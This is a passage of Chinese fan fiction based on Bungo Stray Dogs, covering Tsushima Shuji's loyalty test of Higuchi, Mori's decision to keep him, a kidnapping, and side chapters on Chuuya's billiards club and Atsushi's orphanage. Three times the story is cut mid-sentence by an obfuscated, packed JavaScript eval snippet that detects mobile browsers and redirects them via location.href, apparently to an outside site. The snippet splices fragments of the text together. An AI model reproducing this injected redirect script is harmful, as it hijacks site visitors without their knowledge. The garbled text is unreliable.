35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505854|170473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 首领在她接通电话之后的第一个命令是让她把枪放下,将少年的名字告知于她,隔着手机,通过监控似乎觉察她对于少年长相的惊愕,更是以一种平静的语气警告:少年的来历是港口黑手党的秘密,任何有心探查者都将视为背叛港口黑手党。 原本只像是一种不必多在意的警告,首领却在最后又轻描淡写般补充一句话:芥川君能不能留下就看他的想法吧,你也要听从他的指示哦。 这般……儿戏化的,把芥川前辈的命运交由一个未成年来解决。 樋口一叶的心仿佛停止一瞬间,从心底蔓延一种苦涩,弥漫至口腔,连呼吸都带着一种哀恸般的苦。 津岛修治看向樋口一叶,女人的神色并不太好,他摩挲着手枪,平静地说出一句话,语气像是随意,话语中的不友好却明显摆在内容中:“唔,如果我说你们两个中只有一个能继续留在港口黑手党,剩下的那个会被杀掉的话。” 在对我说话。 他在对我说话。 樋口一叶的心情前所未有的复杂,焦躁与不安感交织,她手中的病例再次紧捏出痕迹,她张了张嘴,没能第一时间说出话,再次开口才说出半句:“……港口黑手党的规矩没有……” “——没有这么严苛?还是说你认为这次的失败不需要人来承担?躺在床上的那位已经付出了代价应该就此止步——?” “那样思考可不行呢。” 少年的声音是冰冷的。 少年的眼神也是冰冷的。 “黑手党这样的组织自然是把利益向内敛,而不是向外散的,那样子的是慈善机构嘛。” 津岛修治把枪递给了樋口一叶,她不得不接过枪,分明被少年把弄过一段时间,枪的温度却并未被体温所熨烫,仍然保持着武器的冰冷。 分明只是个少年……即便说着状似轻快的话语,内里也是阴沉的,与武装侦探社的那个人截然不同。 这一点格外清晰,倘若要抉择,倘若必须抉择。她深吸一口气,闭上眼,再度睁开,平复了一下鼓动的快要跳出的心脏,声音有些发哑:“我的妹妹知道我的工作与黑手党相关,如果我无法在十二小时内回到家里,她肯定会知道我出了什么问题。” “这是威胁吗?” 津岛修治略带诧异,几乎有些赞美地问。 “这是请求,我会告知我的家人不要追究我的消失,请您……确保我的家人能够平安无事,以及确保芥川前辈能继续留在这里。” 话到最后,她的声音变得极轻。 其实这个威胁对于黑手党而言甚至有些轻巧得离谱了啊,甚至有数不清的方法达到斩草除根的目的,不过这种悲哀般的,向着死亡而去的情感很有趣啊,在此刻,你是在期待自己的死亡吗?津岛修治从椅子上起身,视线没有给病床上的青年半个,他向着门的方向走去,在走过樋口一叶的那刻,声音像空中的柳絮般轻飘飘:“答应你哦。” 樋口一叶握住了熟悉的枪,明明一回身便能对准那个少年,明明一抬手便能对准躺在病床上的那个人。为什么没有举起枪呢?为什么明知不合适还要留在港口黑手党呢? …… 她深深地看了一眼病床上的青年,将枪口对准自己,在第一次扣下扳机时手指微微松动松动,放弃,第二次再次按下,带着深刻的诀别,没有任何松动—— 也没有子弹。 没有死亡。 津岛修治捏着方才从弹夹里取出的子弹,已经走到门口,对于身后发生的一切事似乎都有所预料般:“测试一,唔,勉强通过吧。” 什么时候把子弹拿出去的…… 樋口一叶从那种高昂的情感波动中反应过来,语言能力一时混乱,难以组织出话语来表达心情,就好像与芥川前辈走在路上撞见鬼惊吓到要牺牲自己才发现其实鬼是人假扮的,目的是为了说一句愚人节快乐的微妙的情感。她对着那个将要离开的身影,迟疑一下问道:“如果我把枪对准你的话,那会发生什么?” “我啊,或许会直接录用你吧。” 似乎感觉很有意思,少年的脚步顿住。 又自我否定般道:“也只是或许,毕竟那个行为太过愚蠢了嘛,我姑且不想要那种太过愚蠢的下属嘛。” 11. 绳索本身 在离开医疗部后,中原中也首先去了刑讯部门,下属们从那个起初跟津岛修治一同出现的男人口中问出了不少情报,都被整理在纸面上恭敬地交给他。他皱着眉,略过几页没什么大用的那个小组织情报,看到了津岛修治的出场。 他粗略地扫了几眼,为那种格外太宰治式的出场而些微无语,捏着情报,登上电梯再次来到首领办公室的法式大门前。 门口的守卫对他微微鞠躬,中原中也视线不经意眼对方空空如也的枪袋,嘴角微微抽搐,之前的问题在此刻破案了。 中原中也敲了两下门,在门内传出首领的回应后才进入。 办公室内不止首领一人,像是茶话会一样,桌子旁摆上了几把椅子,爱丽丝坐在地板上哼着歌在纸上涂涂画画。森鸥外的视线向他投来,尾崎红叶坐在其中一把椅子上,在他进来后对他微微点头:“怎么样?中也。” 这句话是在问手中情报内容的看法了。中原中也走近森鸥外,把情报递交到对方手中。迟疑地回忆了一下情报内容,道:“一部分跟那小鬼说的没区别。” “但是平行世界那种说法也太鬼扯了吧......红叶大姐,你怎么像是不惊讶一样。” 哪怕被首领告知了什么也该对此有些怀疑吧,总不能直接认定平行世界真的存在吧。 尾崎红叶平静,动作优雅地端起桌面上的茶,轻轻吹去氤氲的热气:“我加入港口黑手党的时间可比你久多了,也是见过一开始便跟随着首领还没加入港口黑手党的太宰几面的。” 十四岁,有气无力,兴致缺缺的少年,纤弱,矮小——倒是一点都看不出来未来个子能猛涨。哪怕在尚是个少年的年龄,也是个令人不能小看的存在,她偶尔瞧着那少年,像瞧着一具精致的尸体,维持生机的到底是什么都难以知晓。 在见到那少年的那一刻,那具精致的尸体像当年一样看向她。 “中也,你跟太宰当过几年搭档吧。你感觉呢?” 中原中也脑内闪过见到那小鬼以来所有嘴角抽搐的瞬间,他点评道:“欠揍程度一模一样。” 森鸥外将情报扫视到最后,若有所思地注视着桌面上的茶杯,茶杯是承载茶水的容器,茶水滚烫,相应的,茶杯也会带上灼热的温度,所谓近墨者黑的本质便是一场浸染。 他动了动手指,开口:“中也君,传令下去,把探究津岛君的来历的行为列为禁令吧。” 尾崎红叶举起茶杯的手一顿,中原中也带着些困惑地看向森鸥外:“这样的行为是为了让那小鬼的来历成谜吗?这样做反而会引发很多猜疑吧。” “猜疑所围绕的角度,无非只是那些亲属关系的揣测,要猜测到真实的答案是一件基本不可能的事。我只是觉得,津岛君可能也更希望我这样做吧。那孩子,如果只是一个人询问的话还能提起些精神敷衍,到后面或许为了躲避这种日常干脆退出港口黑手党了吧。” 那可不行,在时限未到之前不能出现那种缺陷呢。 森鸥外向着茶杯内添了一颗方糖,糖融化的速度不慢,几乎瞬间被炙热的茶水一点点腐蚀。 中原中也闻言,第一个疑惑被解决,他压了压帽子,犹豫片刻,低声询问最根本的那个疑惑:“真的要把他留在港口黑手党吗?” 哪怕确实是他发现这小鬼并把对方带回港口黑手党,虽然秉承着这小鬼说不定有用的态度,但是倘若真要留下对方,还是难免有些疑虑。更何况,太宰治的叛逃可是摆在之前的一个例子。 “这一点啊。” 首领模棱两可道。 “我也是很苦恼的,但是人不能在失去归属感的同时无处可去吧。” 就像不能给想要自杀的人递上一把手枪一般。 上吊的人在脚下无法借力的状态下,绑住脖子的绳索过紧便会窒息,但是绳索本身也是一种支撑啊。 这种时候,这位被称为理性与逻辑化身的首领脸上几乎浮现了一种宽容的仁慈,却只显现一瞬,乃至那种感情究竟是仁慈还是其他都难以辨别。 “不过不用担心,中也君,在我们不信任津岛君的同时,津岛君也并不信任我们,这反而是一种平衡状态。津岛君想要从我们这里获取情报,而相应的,那些情报,则需要付出一部分劳动。这便是工作的本质。” 与津岛修治的双向利用注定是有时限性的。 在时间未到之前,津岛修治的头脑本身便是最优解的一部分。甚至不需要多说几句话,那孩子便能察觉他的潜台词,并基由种种手段顺利完成。 十四岁啊。 真是个年轻的年纪,乃至不用些手段的话,某刻便会真的死掉吧。 ** 卡尔玛走私团为向那个港口黑手党的走狗复仇,几乎耗尽本土残存的全部资源,剩余的资源则仅限于海外。哪怕本次复仇付出众多也无所谓了,只要能让那个该死的家伙付出代价。 在一个下午,他们集结了所有雇佣兵,悄无声息从后门自楼梯间潜入了港口黑手党,根据内人情报,那个家伙所在的便是第三层挨着楼梯间的那间病房。 领头人几乎窃喜,一想到致使他损失惨重的那家伙即将落到他手里,他由衷的喜悦,有一种大仇将报的感觉。 他率先踢开了第三层的楼梯间的门,领着一队人闯进那扇门,躺在病床上的罪人仍处于昏迷状态,哈,这倒是没有当时的精神了啊。他与周遭的队员对视,点了点头,下一秒队员干脆利落拔起插在那青年手上的针。 他们全副武装,推着芥川龙之介向外走去。 与走廊一个身穿宽松病号服,有着蓬松黑发的少年撞了个正着。少年惊愕地睁大眼,看向他们,队员们将枪口举起正对他的方向。 少年浑身颤抖着,举起双手,说话的声音抖得几乎连不成一句:“请不要杀我,我....我,我知道港口黑手党内部的许多情报,请放过我。” 领头人与队员对视,没怎么思考便点了点头,示意:一并带走。 他们干脆利落走近少年,一把敲在对方后脖颈将其敲晕,一并带走。 回到据点后,把那小鬼绑起来跟病床上的那个家伙扔进了一个房间,便准备一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505855|170473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同庆祝,再商讨处理方式。 ...... 津岛修治睁开眼,不怎么费力便察觉自身正处于何种境界,微微动了动被勒紧的手,这是第几次了来着?不过绑的不如上次了呢,稍微有点点松了哎!看来刻意扮演出的胆小鬼形象似乎大获成功了,他们连绳子都绑的很敷衍耶! 落到这种地步是他的计划之内,想要获取某个组织内部情报便要从内部打入,这一点无论什么时候,什么情况都很适用,虽然一开始会与港口黑手党扯上关系不在计划之内,但总之也是达到了互相交换的地步。 现在这种被绑架状况也算一种从内部打入的变形,总之,凭借他的能力不是大事的啦,肯定能做到的啦—— 做不到就死掉啦,虽然死法很逊但是能够接触到死亡的话就也不是什么问题啦。 假的。 没有人在看守这里? 那么便是集体性的在外面巡逻?或许是庆祝又或许是商讨后续处理方式吧。 啊,说起来,这里的位置应该已经被港口黑手党的人知晓了吧,顶端的监控可是一直运行呢,想要追踪的话,对于港口黑手党那样庞大的组织而言,肯定不是难事。他微微磨蹭了几下绑在身后的手,若有所思地把视线投注在病床上仍然沉沉昏迷的青年,睡眠质量真好啊,被劫走了都醒不来。 真的是我的弟子吗? 上一句话似乎有点苛刻了? 那换一句,真的是那家伙的弟子吗? 森先生的话既隐藏内容又隐藏需要,三句话说到尽头句句都需要揣摩,而揣摩也是有出错的可能性。他推测出了对方需要这个组织内部的情报。再藉由要把芥川君,也就是病床上的青年抛给自己当下属,这种话,以及从病房安排,人员安排加之微妙的暗示的情况下,得出了是想要让自己试探那个在场的另一个人的结论。 试探她,那种由感情所支撑的追随所具备的牢固性。 第一次试探的通过其实就代表了之后试探的通过,不过为了获取这个组织内部的情报……就当做附加题吧,嗯嗯。 津岛修治转转手腕,没什么动静地试探性摩挲着绳子的结所在的部位,几番磨蹭过后轻易把绳结拉得松垮,为避免下一个进门的人察觉这一点,他没有干脆解开绳子,心不在焉地看着门的方向,侧耳听着外面的声音,氛围感觉挺欢快的,那就是港口黑手党的人还没来啊。 那时间应该还有。 津岛修治斟酌了一下,眼中闪过一丝狡黠,他摇晃了一下,站起身,伸腿,用腿的力道推动青年的病床,病床的轮子在之前被劫走的过程中掉了一个,剩余三个虽然能支撑着滚动,但没有轮子直接接触地面的那个床腿便会因为其他脚的运动而与地面产生摩擦,发出一声堪称刺耳的声音。 外面的气氛明显凝滞了瞬间。 下一刻脚步声响起,逐渐逼近。随后,门被拉开,几把枪正高高举起,对准了门内的…… 他们看着仍处在昏迷中的青年,与瑟瑟发抖地蜷缩在角落注视着他们,被枪吓到的少年,困惑地陷入思考。 12. 中原中也,十六岁[番外] “所以你在那个什么来着?” 高个子的男人,撑着下巴,把台球杆放在一旁,看着举着球杆瞄准球洞的少年,状似随口,有意无意地说道,脸上带着一个小幅度的,可以被称为愉悦的笑容。 瞄准球洞的少年嘴角抽搐,球杆挥出的角度没有任何偏转,母球以一种奇妙的角度,撞击了场上的其余两个目标球,完成这一行为后,他才回答那个男人的话:“我已经说过很多次了吧,钢琴家。” 台球的规则多种多样,他们这次的规则采用的是本土更为流行的三球开伦,难度比四球开伦更高。一旁观战的几个人不约而同发出一声惊叹,其中最大的动静由一个金发青年发出,他大喊道:“喔,满分啊。” 金发青年大笑着鼓鼓掌,视线从球桌上挪到少年身上,他愉快地对着少年眨眨眼,随后又复述了一遍:“对哦,中也,你在哪来着?” 被称为中也的少年,有着一头赭红色头发——中原中也忍无可忍,几乎发出一声带着怨念喊声:“你们之前根本没好好听我说话吧?!” 钢琴家露出了一个笑容,他拍了拍中原中也的肩膀,把球杆递给了那个金发青年,揶揄道:“信天翁,我就说中也会生气吧。” “喂,我没有!” 中原中也磨磨牙道,不怎么情愿地再次,多次,不知道第几次重复了一遍自己目前的所在地。 “武装调查事务所,我记得上次我说的时候你们都在吧?” 信天翁歪歪头:“好像是哦。” 他恍然大悟般,挥出一杆,母球以一种诡异的角度错过了所有目标球,他对着少年道:“真的不考虑弃明投暗加入港口黑手党吗,中也。” “这句话你之前也说过了,都说过了暂时没有换个组织的想法!” 中原中也发出一声无力的叹气,第不知多少次,给了熟悉的回答。 钢琴家没怎么在意他们的对话,点评道:“球技一如既往差的离谱。” 信天翁不以为然地拍拍手,把球杆递向下一个不知何时走过来的人,那个男人消瘦异常,手腕纤细,看着自带一种颓废感,一只手握着一杯酒,另一只手握着输液架。 走到信天翁跟前,他把酒顺手递给了中原中也,接过了信天翁的球杆。 中原中也接过酒杯,盯着酒杯内看似澄澈的液体看了两秒,倒在了地毯上,地毯瞬间以一种恐怖的速度被腐蚀出一个孔洞。 信天翁发出一声欢呼:“哈哈,这招真狠啊,医生。” “这真的合理吗?你不是跟代号一样在做医生吗,这都是化学家才能做到的了吧?!” 颓废的男人露出了一个阴沉的笑容:“这是夸奖啊......中也。” “连你都来了,怎么这么大阵仗。” 中原中也心情有些微妙地道。 武装调查事务所—— 他所在的组织。而除了他以外,在场的全部人,都是港口黑手党的人。 港口黑手党,是一个中原中也不能说不熟悉的组织,在一年前,他还是「羊」之王时,与那个组织有了交手行动,不过很快,别的事就发生了,武装调查事务所的人来到那里,阴差阳错地总之——「羊」里的孩子基本都被武装调查事务所的人送到了适合的地方,像是校园之类的。 而中原中也本人,则回绝了进入校园的可能性,选择了加入武装调查事务所。 再后来,便是...... 信天翁猛地扑过来,把他的头摁在了手下,疯狂的蹂躏中原中也的头发,中原中也的思考被打断,整个人被压得向下几公分,信天翁一边揉着一边喊:“哈哈,吃我这招吧,中也。” 中原中也咬牙切齿地挣脱了信天翁:“你这家伙,倒是有点我正在思考的意识啊!” 从背后搭过来一只手,按在了中原中也的肩膀上。 那是一个样貌异常标志的青年,脸上的笑容透露着某种魔力般,有着让所有人为之倾倒的能力,他声音温柔:“如果中也想的话,或许退出组织干脆和我一起去拍电影也不错,你说不定会很受欢迎呢。” 中原中也嘴角抽搐:“不,算了,谢谢你,宣传官,一万次回绝。” 有些遗憾般的,青年松开手:“看你们刚才的表现可是很适合拍一部双阵营对抗电影呢。” “算了吧。” 中原中也坚定回绝。 从背后的观战席中,传出一个平静的声音:“你在因为阵营的事而担心吧。” 所有人的动作都像按下停滞键,扭头朝着观战席的方向看去,那个人穿着一身不起眼的服装,有着黑夜般的寂静,给中原中也的感觉与调查事务所的一个前辈相似。但是他结识这个人,甚至在见到那个前辈之前,他曾经被这个人数次暗杀过。 当然,那些暗杀哪怕数次接近成功,以他能站在这里的现实而言,那么那些暗杀只能用失败来形容。 中原中也发出了带着警戒的声音:“......没想到你都会来啊,冷血。” 冷血的脸上没什么表情,他只是平静地从远处走来,走到中原中也面前。 随后,两个人堪称同时地行动了,中原中也手中的台球杆正对冷血的太阳穴,而冷血手中不知何时出现的酒杯碎片正抵着中原中也的喉咙。 信天翁诧异地注视着这一幕:“这是什么奇怪的场景,喂,你们不会真的要在这打起来吧?” “好歹松松手,二位?” 冷血与中原中也对视一眼,中原中也心不甘情不愿把正对冷血太阳穴的台球杆调整角度,扔给了冷血,冷血接过球杆,同步撤回了抵着中原中也喉咙的酒杯碎片。 宣传官抿了口酒杯中的酒:“感情真不好啊。” 钢琴家在一旁饶有兴趣地注视着这种场景:“也有可能是好但不太好吧。” “你那是什么说了跟没说一样的话。” 中原中也吐槽道。 冷血擦过中原中也,带着球杆走到了球桌旁。 中原中也扭过头,看向凑在一起的男人们,如果有顶帽子的话,他想向下压低些帽檐再开口,但是他现在头顶没有一顶帽子,他有些促狭地摸了把有些凌乱的头,道:“我确实不是港口黑手党的人。” 男人们面面相觑。 信天翁困惑开口:“这个我们知道啊。” “不是说这个!我是说你们这个青年会成立初衷应该是找那些港口黑手党内部的人吧。” 在场的人都看向了钢琴家,钢琴家—— 这个青年会的组织人,也是把中原中也邀请加入这个青年会的人。 钢琴家露出了一种回忆般的表情:“啊——” “因为当时误以为中也是港口黑手党的新成员,感觉说不定会融的来,所以干脆邀请了。” 结果没想到中也并不是港口黑手党的新成员。 中原中也发出了明显带着无语的语气词。 “那中也是为什么要加入的呢。” 信天翁凑到中原中也身边,如此问道。 中原中也突兀僵住,视线偏移,不自然道:“我以为你们是一个台球俱乐部。” 其余人露出一种惊讶的神情。 “喂,那是什么表情!谁会想到一个说着你的台球技术真不错呢,干脆加入我们的人是港口黑手党的家伙啊!” 中原中也据理力争道。 原本只以为是一个普通俱乐部。 结果聚第两次时发现冷血也在。 聚到第三次后才发现这些人全部是港口黑手党的家伙。 “你们什么时候知道我不是港口黑手党的人的?” 冷血没有对这个问题做出回答,对于当初曾担任刺杀中原中也任务的他来说,这个问题他如果回答的话,要算作弊了。他在港口黑手党内部担任的工作是杀手,他的工作状态就像上面一样,平静,招招以致人死地为目的,而不处于工作状态的他出乎意料的平和,带着一股稳重。 他只是看着大家回答。 宣传官看了看周遭若无其事当作没听到疑问的男人特指信天翁,露出了个笑容道:“一开始。” 信天翁露出了一个不可置信的神情。 啊...这倒有可能。 除了冷血外,宣传官是最有可能知道的没错,这个男人的日常就是担任港口黑手党对外的发言人,他精于人际关系,按道理来说他应该会格外,无比了解—— “那你为什么没揭露?” 中原中也发出灵魂拷问。 宣传官露出一种蛊惑般的神情:“可能是因为中也给人的感觉很有趣吧,而且意外合得来,这种事情发生的概率可是低得离谱,感觉没有揭露的必要呢。” “喂!” 宣传官对中原中也安抚性露出一个笑容,看向钢琴家:“那你呢?我倒是比较好奇你什么时候发现的。” 钢琴家略微回忆了一下,道:“啊,说起来我是跟中也第一次聚会后,当天下午正好遇到了迷路的江户川干部,顺便把对方送回总部的过程中,他随口说——” “说的什么。” 中原中也与其他人若无其事凑近了些许,在钢琴家抬头环视的时候每个人都假装自己没有在意。 钢琴家像拿捏到什么一样,吊着大家的胃口,在几乎所有人忍无可忍出拳之前,接着道:“江户川干部说:倒是有点港口黑手党内部最近没加入有那种大杀伤力新成员的意识啊,不过既然感兴趣的话就当朋友吧,反正暂时也不是敌对关系。” 中原中也几乎有些惊叹,又有些疑惑,他扫了一遍周遭听到这段话没什么困惑的男人们,假装若无其事,实际明显带着好奇问道:“江户川干部...那家伙真的那么神吗。” 钢琴家露出一个微妙的笑容:“啊,中也不知道吗?” “听过一些传闻。” 中原中也回忆了一下之前在里世界时所听闻的传闻们:有什么三句话为港口黑手党谋利三千万,两个命令让港口黑手党对立组织破产,一个见面扒出别人底裤等等。那种程度怎么可能呢?明显过于神化了吧。 似乎轻易看出了少年的不信任,信天翁神秘地凑近了中原中也,对着好奇的对方故作严肃地点点头:“比传闻还神。” 啊。 中原中也迟疑地问道:“那家伙真是无异能者?” “这个我们也说不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那个男人脸上似乎永远没什么诧异,只是微微停顿了片刻,像是在思考,随后平静道:“那要给朋友的礼物会受影响吗?” “……关键点不是那个吧!你怎么知道我有准备,那不是礼物!那也不是朋友们!” 中原中也有些羞恼道。 “因为「羊」那边说中也最近有些魂不守舍。” “不,关键在于敌对组织啊!敌对组织!” “那是关键吗?” 中原中也几乎觉得自己询问对方这个行为蠢的离谱,他嘴角抽搐:“肯定是关键啊,真不知道你这家伙为什么总是抓不住重点。” “那样啊,是没什么关系的。” 红发男人突然这么回答了,中原中也后知后觉对方回答的是第一个问题,他表情平静,像是确实不觉得那有什么关系一样。 “只要.....” ...... 钢琴家与在场所有人,除了中也以外的人对视一眼,他看向中也,露出了一个熟悉的笑容:“你在担心我们泄露内部情报,引来首领的追究吗?” “不用担心那个。” “因为我们还是有分寸的,这些都是一些哪怕不是组织内部的人都能打听到的,真正内部的中也说不定不会爱听吧。” 信天翁凑了过来,把两支香槟塞给钢琴家与中原中也,一人一支,他饶有兴趣:“那来交换吧,中也在的那个是什么武装侦探...啥来着?” 中原中也接过香槟,内心难免有些许轻松,对于信天翁的话,他—— 还是微妙地嘴角抽搐了瞬间:“武装调查事务所。” “调查事务所,仔细一想,那不就是侦探社的别名吗?” “中也当侦探...?不会把所有人都打一遍来找出凶手吗?” “说不定是当场被误认为是真正凶手被逮捕呢?” “喂!” 宣传官带着些好奇问道:“那日常都是什么工作呢?” “……像什么跟踪女人的情夫啊,保护某人安全啊,保护某人安全啊,保护某人安全啊……” “……虽然是侦探的名字,实际却是在做安保工作啊。” 中原中也有些羞恼地瞪向钢琴家:“因为我擅长的就是战斗相关啊,我偶尔也会去帮忙找猫啊狗啊的好不好。” 几乎所有人都露出了一个笑容。信天翁的笑声最大,他把左手臂搭在医生肩膀上,右手臂拉过中原中也,把胳膊搭在中原中也头顶,在对方羞恼之前大笑道:“接下来继续打台球吧,怎么样。” 钢琴家脸上也带着笑容:“要换个规则吧。” “斯诺克怎么样。” 冷血建议道。 宣传官笑道:“然后再设置一点奖品?我有个法国影迷,之前送了我一箱法国产红酒,或许用来当第一名奖励刚刚好。” 中原中也原本要挣扎的动作被这句话蛊惑顿住,他露出了个笑容,语气傲然道:“斯诺克?哈,你们现在可以准备投降了,现在就把奖品奉给我吧。” “中也果然在装吧。” “啊,肯定是那样没错。” “喂!” 13. 中岛敦,十二岁[番外] 中岛敦奔跑着,竭尽全力。 这毋庸置疑是一场逃离。 ——! 在神经紧张地奔跑情况下,步伐紊乱,一时失控,脚踩在石头的斜面,他整个人瞬间失去平衡一般跌倒地面。 挣扎着爬起来后,腿部鲜血淋漓的伤口镶嵌着地面的碎石,疼痛感让他整个人颤颤巍巍。 白发的少年无措地抬头,看向黑夜中高悬的月亮。他的心脏跳得极快,仿佛能够从胸膛之中蹦出一般。 虎……虎肯定就在身后。 想到这一要点,他瑟缩了一瞬间。 对于虎的恐惧让他克服了那种疼痛的作用,他小心翼翼支撑着身躯站立起来,顶着那种疼痛,他艰难地朝着孤儿院的方向前行,脚步不算快,也不算慢。 他并不敢回头看,因为担心虎就在身后。 同样。 他也不敢抬头看,因为担心回到孤儿院所必然面临的惩罚。 中岛敦垂着头,呼吸逐渐急促,心脏因紧张而剧烈跳动,几乎快到达干呕的地步。 孤儿院里的孤儿在通常情况下从来都是不允许外出的,但总有些调皮的孩子——他们会选择偷溜出去,再在深夜点名前悄无声息混入那些没出去的孩子里。 中岛敦自然不是那种调皮的孩子,他内敛,胆怯,时常缄默,并不讨喜,更何况院长对于这个孩子所表现出的态度是一种明显浓稠的厌恶。 于是恶意诞生得并不突兀。 起初是冷淡的孤立,像是冰冷的暴力,没人会在游戏时与他作伴。而后是由忽视而转换成的推搡,此刻那种孩童的尖锐便会展现,他们的话语如刀,扎在中岛敦的背上,扎得他再无法直起身。最后便是一种犹如心血来潮地戏耍,被污蔑,被厌嫌是一种日常,中岛敦被按着肩膀,像一件行李般被挟持着带出了孤儿院来到一片树林,有人说:来玩捉迷藏吧,要数到一百哦。 他受宠若惊,闭着眼小心翼翼数着数字。 直到抵达一百。 中岛敦睁开眼,什么都没有,在那一刻,偌大的孤独笼罩了他,某种直觉告诉他这里不会再有人了。 他无力地张张嘴,声音飘在空中,是他所特有的胆怯:“那个……我要开始找人了……” ……你们还在吗? 不在。 太阳落下,月亮升起。 中岛敦自欺欺人地寻找没有得到任何结果,这里只有他一人了,那种鸵鸟般以为把头埋进沙子里就不会被伤害的幻想被现实击垮,自己被接纳的幻想也沦为灰烬。 该往回走了。 他有些丧气地调转脚步,朝着孤儿院的大致方位走去,却随着夜幕逐渐升起难保持平静,风吹过树林,所发出的莎莎声让他整个人惊恐起来。 只觉有一双眼睛。 一双眼睛在背后窥伺。 他毛骨悚然。 几乎瞬间,他便意识到了那双眼睛的来源。 虎…… 是虎。 虎,一个仅存在于中岛敦所在的孤儿院中的梦魇,倘若是梦的话那就能在醒来后抛舍,但如若是现实的话,就要历经一番痛苦的折磨,再艰辛万分地打理残局。 虎会毁掉一切,原本略有些好转的孤儿院曾经数次在虎的摧毁下再次回归那种糟糕的境界。 每当那种时刻,哪怕是最调皮的孩子脸上都带着些郁色。 而且,中岛敦没来由觉得:虎,是憎恨着他的。 少年的想法源于何处无从知晓,可能只是模模糊糊的一个虚无的想法,依托于发达的想象。 如果有机会,虎是会杀死他的吧。 如此想着,他仓惶踉跄地向着孤儿院的方向跑去,天生俱来的方向感指引着他。 随后便发生了摔倒这件事。 哪怕顶着淋漓的伤口,他始终不敢停下脚步。 吹过的风,飘过的树叶,动物的鸣叫,任何一切都让他胆战心惊,恍惚中直觉自己是一盘注定的食物,将在虎到来之时被其撕咬开喉咙,将皮肉吞噬干净。 但万幸的是,直到孤儿院的那栋建筑逐渐浮现眼前时,虎都没有选择直接扑上来,将他食用。 他小心翼翼抬起头,几乎为抵达熟悉的地点而彻底放松,却又意识到了什么,瑟缩了瞬间肩膀,腿部的伤口已经几乎不再疼痛,他想:倘若院长此时已经睡着就好了。 院长讨厌他。 院长不喜欢他。 从不知何时开始,那张一视同仁的爱消散得无影无踪,起初是冷淡的态度,最后上升为一种暴力。 所有的棍棒与责骂于他而言是平淡的日常,他在这种日复一日的打压下负重成长,仔细想来,曾经被爱过的过往从开始或许便是梦境,已经被击穿膝盖的钉子,落在脸上的巴掌,被踹倒在地面上的日常整个击碎了。 这次违反规定的外出一定会再次被惩罚的。 他垂下头,带着某种恐惧地推开孤儿院未锁的大门。 大厅的灯光很亮,像是一种警局审讯室的照射灯般。中岛敦咽了一下因紧张而上涌的唾液,步步走近楼梯的方向,他几乎升起一种微妙的侥幸心理,难道院长今天不在吗? 他走到楼梯下方,随后怔住。 一个高大的身影,站在楼梯上方,眼神沉沉而复杂,审视般自上而下地注视着他,自带一种气势,中岛敦干咽一口空气,像将要被架在火上烤一般,紧张地,几乎发抖,神色不自觉流露一种绝望的恳求,十二岁的少年整个人僵住。 院长审视着他,却并没有如以往一般责骂斥咄他,也没有拖着他的头发将他扔进禁闭室。 中岛敦垂下头,感觉一股视线久久停留在他身上。 良久,那个高大的男人才说:“回你的房间去吧。” 咦......? 被赦免一般,如释重负。中岛敦小心翼翼地,垂着头僵硬着踏上楼梯,身体尽量避免与对方有任何接触,走到楼梯上端的走廊,走到自己的房间前—— 或许是因为看他不喜,院长没有把他与其他孩子安排在一起居住,硬是在本就房屋不多的孤儿院内单独找出一间原本是杂物间的窄小房间供他独自居住。房间窄而小,窗户也因过久没有使用而锈化,根本没有打开的可能性,处在其中,让中岛敦只觉与其他人的隔阂更加明显,但也有一种好处,在这里他感觉有一种简陋的安心感。 不知道为何院长今天没有发难,他长松一口气,拧开了自己的房门。 一个人从埋头看书的行为中停顿,抬头看向他。 左眼缠着绷带,露出的脖颈与手腕都缠着绷带,有着蓬松黑发,身着咖啡棕色西装打着同色领带的,年龄似乎稍长他几岁的少年,正坐在之前打扫过的窗台上,望过来的眼神中似乎有某种空洞的虚无,却像一瞬间的错觉,只是一闪而过,中岛敦错愕地注视对方,对方的眼内似乎扬起一种饶有兴趣的审视。 那个只年长他几岁的少年仍然坐在窗台上,只是一把合拢了手中的书,从对方的指缝中,中岛敦依稀看见了几个字:完...自..手册。 中岛敦为对方的审视缩了缩头,他带着些拘谨地捏紧手中的门把手,小心翼翼抬头:“那个......你是走错房间了吗?” 不记得孤儿院里有这样的少年。 有着蓬松黑发的少年开口,声音带着某种意味不明:“中岛敦。” “啊……是……?” 中岛敦带着些疑惑下意识回答道。 下一刻,对方从窗台上轻巧跃下,落到地面上站直,中岛敦才发觉对方比现在的自己高大半个头,那个人看向自己,随后轻飘飘说出一句难明意义的话:“要和我走吗?” 咦?.....这是领养的意思吗? “咦?……不不……你那个……咦,这个……” 困惑难以掩盖,中岛敦失去控制一样错愕地只能说出几个无意义音节。坦白来说,他不是没奢想过被领养进一个家庭,体验那种被爱包围的生活,但是那种事从来没有任何机会降临到他头上。 哪怕偶有人挑中他的安静,也会被院长制止。 还是选择另一个孩子吧,这个孩子愚钝,难堪大用。 在无人到来的时候,便会一巴掌把他扇倒在地,用一种厌嫌的眼神看着他,讽刺他:你这种人注定无用地苟活一生。 每次都是那般。 